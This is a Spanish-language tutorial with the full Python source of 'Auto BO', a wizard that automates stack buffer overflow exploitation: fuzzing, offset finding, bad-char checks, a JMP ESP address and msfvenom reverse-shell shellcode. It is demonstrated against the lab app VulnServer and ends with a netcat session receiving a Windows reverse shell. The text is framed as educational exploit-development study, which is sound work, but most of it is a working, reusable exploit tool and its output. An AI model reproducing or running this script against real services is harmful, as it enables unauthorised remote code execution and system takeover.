Introducción
El desbordamiento de búfer, conocido como buffer overflow, es una vulnerabilidad de seguridad en la programación de software que ocurre cuando se introduce más datos en un área de memoria (búfer) de lo que puede manejar. Esta situación puede permitir a un atacante sobrescribir datos adyacentes en la memoria, lo que potencialmente conduce a la ejecución de código malicioso o a la alteración del flujo de un programa.
Cuando un programa no verifica la cantidad de datos que se ingresan en un búfer, se corre el riesgo de que un atacante pueda aprovechar esta debilidad para inyectar código malicioso, sobrescribir información importante o incluso tomar el control del sistema. La prevención del desbordamiento de búfer implica buenas prácticas de programación y el uso de técnicas de seguridad como la validación de entradas y el control de límites para evitar este tipo de vulnerabilidades.
Para la detección y explotación de esta vulnerabilidad se ha desarrollado un asistente programado en el lenguaje Python que facilita esta tarea. Actualmente funciona con servidores remotos y en casos en los cuáles no existan protecciones de memoria como ASLR. El programa se ha desarrollado con fines educativos y puede no ser aplicable para algunas situaciones, lo que requerirá su modificación. Para probar el programa se va a utilizar la aplicación vulnerable VulnServer.
Auto BO sin conocer los parámetros
Aunque la aplicación automatiza el proceso parcialmente es necesario ejecutar la aplicación una vez en un depurador para obtener algunos parámetros. En este caso se va a utilizar el depurador x64dbg. A continuación se ejecuta Auto BO con algunos parámetros obligatorios.
-i: La dirección IP del servidor de la aplicación vulnerable, en este caso192.168.1.5-p: El puerto de la aplicación vulnerable, en este caso9999-c: El comando que precede a la entrada de datos que vamos a inyectar, en este casoTRUN /.:/-n: El número de bytes de instrucciones NOP a inyectar antes del shellcode, en este caso8.-o: El sistema operativo del servidor de la aplicación vulnerable, en este casowindows-ai: La dirección IP con el puerto de escucha abierto para recibir la terminal inversa.-ap: El puerto de escucha abierto para recibir la terminal inversa.
Los otros parámetros opcionales se analizarán en la siguiente sección. Ejecutamos la aplicación.
$ python autobo.py -i 192.168.1.5 -p 9999 -c "TRUN /.:/" -n 8 -o windows -ai 192.168.1.2 -ap 1234
Welcome to Auto BO: Open the program on the debugger and press ENTER to start the fuzzing.
Cuando abrimos la aplicación nos indica que abramos la aplicación por si todavía no lo hemos hecho para empezar con el fuzzing. Abierta la aplicación pulsamos ENTER y pasamos al depurador. Después de unos segundos observamos que la aplicación se ha pausado y se ha alcanzado una excepción así que reiniciamos la aplicación vulnerable. Se nos mostrará este mensaje:
The program crashed after sending 2000 bytes. Reboot the program and press ENTER.
El programa se ha cerrado después de haber enviado 2000 bytes por lo que al reiniciar la aplicación y pulsar ENTER se hará otro fuzzing de nuevo para calcular el offset. Recibimos este mensaje:
2200 bytes are being sent.
The program crashed again. Enter the address of the EIP at this point (e.g. FAFBFCFD):
Volviendo a saltar otra excepción en la aplicación observamos los registros en el depurador, y anotamos el registro EIP, en este caso 386F4337 y lo introducimos como nos solicita el programa.
Se calcula el offset, en este caso de 2003 bytes.
Found the offset number 2003.
Reboot the program and press ENTER to check the bad chars.
Volvemos al depurador para reiniciar el programa y proceder con la detección de los badchars.
Sent characters from 0x01 to 0xFF.
Check the bad chars in the debugger and enter if any (e.g. 01,02) (00 will be added automatically):
En este momento se habrán enviado a la aplicación todos los caracteres desde 0x01 hasta 0xFF, ya que 0x00 ya se toma como badchar de forma predeterminada. Ahora en el depurador seleccionamos el registro ESP, hacemos clic derecho sobre él y pulsamos en Mostrar en el volcado. Encontramos los caracteres en el volcado por orden. Si encontramos alguno faltante o diferente lo introducimos separados por comas. En este caso no se encuentra ninguno.
A continuación tenemos que encontrar la dirección de memoria en la que se encuentra una instrucción JMP ESP o CALL ESP. En este caso sabemos que hay una en el módulo essfunc.dll.
Get the address of the [JMP ESP] or [CALL ESP] call (e.g. FAFBFCFD):
En el depurador vamos a la pestaña Mapa de memoria y buscamos el módulo essfunc.dll. En este caso lo encontramos en la dirección de memoria 62500000.
Tenemos que tomar nota de la dirección de la sección .text, que es la de código ejecutable, en este caso 62501000. Ahora usamos el comando findasm de x64dbg para encontrar las dirección de memoria con la instrucción. Especificamos la dirección de memoria.
findasm "jmp esp",0x62501000
Recibimos como respuesta 9 resultados.
Con el comando ref.addr obtenemos la dirección de memoria.
ref.addr(0)
Obtenemos la dirección de memoria de una instrucción JMP ESP que anotamos, 625011AF.
Introducimos la dirección en el programa e iniciará la creación del shellcode. Es requisito tener instalado en el sistema la herramienta msfvenom.
Shell code generated, now run "nc -nvlp 1234", reboot the program and press ENTER.
Finalmente se nos muestra un mensaje indicándonos que abramos el puerto de escucha, reiniciemos el programa y pulsamos ENTER para iniciar el buffer overflow. Obtendremos una terminal inversa.
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [192.168.1.5] from (UNKNOWN) [192.168.1.2] 49946
Microsoft Windows [Version 10.0.22621.525]
(c) Microsoft Corporation. Todos los derechos reservados.
C:\Users\Usuario\Desktop>whoami
desktop\usuario
Auto BO conociendo los parámetros
Habiendo obtenido los parámetros en la sección anterior podemos ejecutar el programa de nuevo especificando los tres parámetros opcionales.
-x: El offset calculado, en este caso 2003-b: Los badchars obtenidos, en este caso ninguno, o ""-a: La dirección de memoria de la instrucciónJMP ESPoCALL ESP, en este caso625011AF
Ejecutamos el programa y pasaremos a la parte final del asistente.
$ python autobo.py -i 192.168.1.5 -p 9999 -c "TRUN /.:/" -n 8 -o windows -ai 192.168.1.2 -ap 1234 -x 2003 -b "" -a 625011AF
Welcome to Auto BO: Shell code generated, now run "nc -nvlp 1234", reboot the program and press ENTER.
Código fuente
import argparse
import re
import socket
import string
import struct
import subprocess
def configure_arguments(parser):
parser.add_argument('-i', '--app-ip', help='IP address of the host running the application', required=True)
parser.add_argument('-p', '--app-port', help='Port of the host running the application', required=True)
parser.add_argument('-c', '--command', help='Beggining of the command to send', required=True)
parser.add_argument('-n', '--nop-bytes', help='Number of NOP bytes to send', required=True)
parser.add_argument('-o', '--operating-system', help='OS of the host running the application', required=True, choices=['windows', 'linux'])
parser.add_argument('-ai', '--attacker-ip', help='IP address of the attacker', required=True)
parser.add_argument('-ap', '--attacker-port', help='Port of the attacker', required=True)
parser.add_argument('-x', '--offset', help='Offset number in bytes. Disables automatic fuzzing.')
parser.add_argument('-b', '--badchars', help='Bad characters in a comma-separated list. Disables badchars check.')
parser.add_argument('-a', '--esp-address', help='Address of the [JMP ESP] or [CALL ESP] call.')
def parse_arguments(parser):
args = {}
args['ip_address'] = parser.app_ip
args['server_port'] = int(parser.app_port)
args['command'] = parser.command
args['number_nop_bytes'] = int(parser.nop_bytes)
args['platform'] = parser.operating_system
args['attacker_ip_address'] = parser.attacker_ip
args['attacker_port'] = int(parser.attacker_port)
if parser.offset != None:
args['offset'] = parser.offset
if parser.badchars != None:
args['badchars'] = parser.badchars
if parser.esp_address != None:
args['esp_address'] = parser.esp_address
return args
def create_socket(ip_address, server_port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip_address, server_port))
return s
def close_socket(socket):
socket.close()
def receive_socket_data(socket, buffer_length):
try:
return str(socket.recv(buffer_length))
except ConnectionResetError:
return None
def send_socket_data(socket, data):
try:
return socket.send(data)
except ConnectionResetError:
return 0
def fuzz(ip_address, server_port, command):
crashed_bytes = 0
for string_length in range(1, 10001):
tcp_socket = create_socket(ip_address, server_port)
bytes_to_send = command.encode() + generate_pattern(string_length)
# print('Received : ' + receive_socket_data(tcp_socket, 1024))
send_socket_data(tcp_socket, bytes_to_send)
if receive_socket_data(tcp_socket, 1024) == None:
crashed_bytes = string_length
break
close_socket(tcp_socket)
# print('Sent : ' + string_to_send)
return crashed_bytes
def generate_pattern(pattern_length):
pattern = ''
for uppercase in string.ascii_uppercase:
for lowercase in string.ascii_lowercase:
for digit in string.digits:
if len(pattern) >= pattern_length:
return pattern.encode()
pattern += uppercase + lowercase + digit
def send_bytes(ip_address, server_port, command, bytes_to_send):
tcp_socket = create_socket(ip_address, server_port)
bytes_to_send = command.encode() + bytes_to_send
# print('Received : ' + receive_socket_data(tcp_socket, 1024))
send_socket_data(tcp_socket, bytes_to_send)
close_socket(tcp_socket)
def calculate_offset(eip_address, pattern):
int_address = int(eip_address, 16)
bytes_address = struct.pack('I', int_address)
string_to_search = bytes_address.decode()
# print('Searching for ' + string_to_search + '...')
position = pattern.decode().find(string_to_search)
return position
def generate_char_array():
char_to_sum = b'\x00'
char_array = [char_to_sum]
for char in range(0, 255):
char_to_sum = bytes([char_to_sum[0] + b'\x01'[0]])
char_array.append(char_to_sum)
return char_array
def generate_char_bytes():
# Generate chars from 0x01 to 0xFF
char_string = b'\x01'
char_to_sum = b'\x00'
for char in range(0, 254):
char_to_sum = bytes([char_to_sum[0] + b'\x01'[0]])
char_string += char_to_sum
return char_string
def badchars_to_bytestring(bad_chars):
# Receives a comma-separated list of badchars and convert into a encoded string
bad_chars = bad_chars.split(',')
bad_chars_bytes = b''
for char in bad_chars:
bad_chars_bytes += bytes.fromhex(char)
return str(bad_chars_bytes).split('\'')[1].replace('\\', '\\\\')
def generate_nop_bytes(nop_bytes):
nop_char = b'\x90'
char_string = b''
for char in range(0, nop_bytes):
char_string += nop_char
return char_string
def address_to_bytes(address):
int_address = int(address, 16)
return struct.pack('<I', int_address)
def generate_shellcode(platform, attacker_ip, attacker_port, nops_string):
call = subprocess.run(["msfvenom", "-p", platform + "/shell_reverse_tcp",
"LHOST=" + attacker_ip, "LPORT=" + str(attacker_port),
"EXITFUNC=thread", "-f", "hex", "-a", "x86",
# "-b" if nops_string != '' else '', nops_string],
"-b", nops_string], # TODO: there are always nops
stderr=subprocess.DEVNULL, stdout=subprocess.PIPE,
text=True)
shellcode_hex = call.stdout
return bytes.fromhex(shellcode_hex)
if __name__ == '__main__':
parser = argparse.ArgumentParser(prog='Auto BO', description='Wizard created to help with buffer overflow job.')
configure_arguments(parser)
args = parser.parse_args()
args = parse_arguments(args)
print('Welcome to Auto BO: ', end='')
if 'offset' not in args:
input('Open the program on the debugger and press ENTER to start the fuzzing.')
bytes_to_crash = fuzz(args['ip_address'], args['server_port'], args['command'])
input('The program crashed after sending ' + str(bytes_to_crash) + ' bytes. Reboot the program and press ENTER.')
bytes_to_crash = int(bytes_to_crash * 1.1) # sum bytes to crash 10% of the value
print(str(bytes_to_crash) + ' bytes are being sent.')
pattern = generate_pattern(bytes_to_crash)
send_bytes(args['ip_address'], args['server_port'], args['command'], pattern)
eip_address = input('The program crashed again. Enter the address of the EIP at this point (e.g. FAFBFCFD): ')
offset = calculate_offset(eip_address, pattern)
print('Found the offset number ' + str(offset) + '.')
else:
offset = int(args['offset'])
pattern = generate_pattern(offset)
if 'badchars' not in args:
input('Reboot the program and press ENTER to check the bad chars.')
char_bytes = generate_char_bytes()
send_bytes(args['ip_address'], args['server_port'], args['command'], pattern + char_bytes)
print('Sent characters from 0x01 to 0xFF.')
bad_chars = input('Check the bad chars in the debugger and enter if any (e.g. 01,02) (00 will be added automatically): ')
bad_chars_string = badchars_to_bytestring('00,' + bad_chars)
else:
bad_chars_string = badchars_to_bytestring('00,' + args['badchars'])
if 'esp_address' not in args:
esp_address = input('Get the address of the [JMP ESP] or [CALL ESP] call (e.g. FAFBFCFD): ')
esp_address = address_to_bytes(esp_address)
else:
esp_address = address_to_bytes(args['esp_address'])
nop_bytes = generate_nop_bytes(args['number_nop_bytes'])
shellcode = generate_shellcode(args['platform'], args['attacker_ip_address'], args['attacker_port'], bad_chars_string)
input('Shell code generated, now run "nc -nvlp ' + str(args['attacker_port']) + '", reboot the program and press ENTER.')
send_bytes(args['ip_address'], args['server_port'], args['command'], pattern[:offset] + esp_address + nop_bytes + shellcode)